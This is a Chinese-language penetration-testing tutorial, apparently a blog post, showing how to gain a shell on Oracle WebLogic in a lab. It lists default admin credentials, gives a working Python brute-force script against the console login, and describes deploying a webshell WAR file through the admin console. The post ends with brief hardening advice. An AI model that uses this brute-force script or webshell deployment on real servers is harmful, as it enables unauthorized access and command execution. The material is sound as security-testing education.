Weblogic爆破&JAR包部署GetShell

谁借莪１个温暖的怀抱￠ 2022-10-19 14:56 126阅读 0赞

### 影响范围 ###

Weblogic \*

### 漏洞类型 ###

弱口令爆破

### 利用条件 ###

未启用锁账号机制(默认是启动的，有些用户可能会为了便捷而关闭)

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70][]

### 漏洞概述 ###

WebLogic是美国Oracle公司出品的一个Application Server，它是一个基于JAVAEE架构的中间件，主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中，而弱口令作为历年来雄踞Top 10漏洞榜单的知名类型漏洞在Weblogic中也常常会遇到，不过目前Weblogic安装之后默认会启动锁封机制，当用户连续输错5次账号密码则会锁定账号。

### **常用口令** ###

system:password
    weblogic:weblogic
    admin:secruity
    joe:password
    mary:password
    system:sercurity
    wlcsystem:wlcsystem
    weblogic:Oracle@123

### 漏洞复现 ###

**口令爆破**

在登陆页面随便输入一个用户名密码，利用network查看提交情况

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 1][]

可以看到点击提交按钮后，浏览器向http://192.168.174.144:7001/console/j\_security\_check地址以POST的方式提交了这个表单

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 2][]

j_username: admin
    j_password: admin
    j_character_encoding: UTF-8

当提交错误时会重新返回登陆页面的地址，正确时则返回新的地址：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 3][]

根据这个思路即可以编写爆破脚本如下：

#!/usr/bin/env python           
    # coding  : utf-8 
    # Date    : 2020/11/11
    # Author  : Al1ex
    
    import requests
     
    class WebLogic:
        def __init__(self, url):
            if '://' not in url:
                url = 'http://' + url
            self.url = url.strip('/')
     
        def weakPasswd(self):
     
            pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','admin123']
            for user in pwddict:
                for pwd in pwddict:
                    data = {
                        'j_username':user,
                        'j_password':pwd,
                        'j_character_encoding':'UTF-8'
                    }
                    req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
                    if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                        print('[+] WebLogic username: '+user+'  password: '+pwd)
                        exit()
     
    if __name__ == '__main__':
        url = '192.168.174.144'
        wls = WebLogic(url)
            
        wls.weakPasswd()

执行结果：

![20210711164440381.png][]

**GetShell**

登陆weblogic后台http://192.168.174.144:7001/console，之后点击左侧的部署，在弹出来的右侧页面点击"安装"

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 4][]

在安装页面选择"上载文件"：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 5][]

在"将部署上载到管理服务器"区域选择"浏览"，然后按照提示(其实就是一直下一步就行，最后点保存)将打包好的包含大马的war包上传至服务器

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 6][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 7][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 8][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 9][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 10][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 11][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 12][]

之后访问webshell所在URL： http://192.168.174.144:7001/test/test/job.jsp

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 13][]

命令执行：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 14][]

### 安全建议 ###

1、启用封锁机制规避暴力破解风险

2、妥善保管Weblogic系统账号密码

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70]: /images/20221004/bf2aeef086614a2fab7905d3916a3935.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 1]: /images/20221004/bcfabce9c0f941b0b1a5ff762536cabb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 2]: /images/20221004/a245067267a34c03a671a34f9ecac427.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 3]: /images/20221004/a6e2a36c55a74167aaa32f9c8d15ad85.png
[20210711164440381.png]: /images/20221004/848ecc51167042e3bbd75bc0f170bc89.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 4]: /images/20221004/c1517f19c54541a9bceac7faf6414392.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 5]: /images/20221004/fff32a3db5794c3ab9c407a215ccd451.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 6]: /images/20221004/b778d858d8164c9ebf5c3858e09e70b4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 7]: /images/20221004/9f8c1690167e411f9d2315b7b0573581.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 8]: /images/20221004/561c632a4d5a482dadd30ef978db5739.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 9]: /images/20221004/22808054a4934632a39b97dfb04bc851.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 10]: /images/20221004/a179c72aa7104fb8ba539dc341634345.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 11]: /images/20221004/f1fe5f3afe3243ef8cf09522bd0719a1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 12]: /images/20221004/ba6515a0c62b4f00babc1943c6a53f7a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 13]: /images/20221004/892ed748b22842169f57abdd115efb27.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 14]: /images/20221004/f82b952ec8fa42c09092945e828d9b92.png